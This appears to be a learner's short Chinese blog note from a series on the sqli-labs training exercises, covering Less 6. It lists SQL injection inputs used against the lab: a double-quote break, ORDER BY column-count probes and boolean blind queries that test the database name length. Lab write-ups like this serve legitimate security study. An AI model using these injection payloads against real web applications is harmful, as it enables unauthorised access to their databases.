less6

合集 - Sqli Less(7)

1.less22024-12-102.less32024-12-113.less12024-12-094.less42024-12-125.less52024-12-19

6.less62024-12-21

7.less7(未完)2024-12-22

收起

1.测试注入点:回显只有报错和you are in...... 是布尔盲注类型

?id=1"
#报错,less6和less5的差别不会和less2和less1差不多吧

测试列数:3列

?id=1" order by 4%23
?id=1" order by 1%23
?id=1" order by 3%23

查询库名长度:8位
//之后一定找个脚本来帮我盲注,BP排版错位解决不了,只能看看python了

?id=1" and length((select database()))>=9%23
?id=1" and length((select database()))>=1%23
?id=1" and length((select database()))>=8%23

后续和less6一致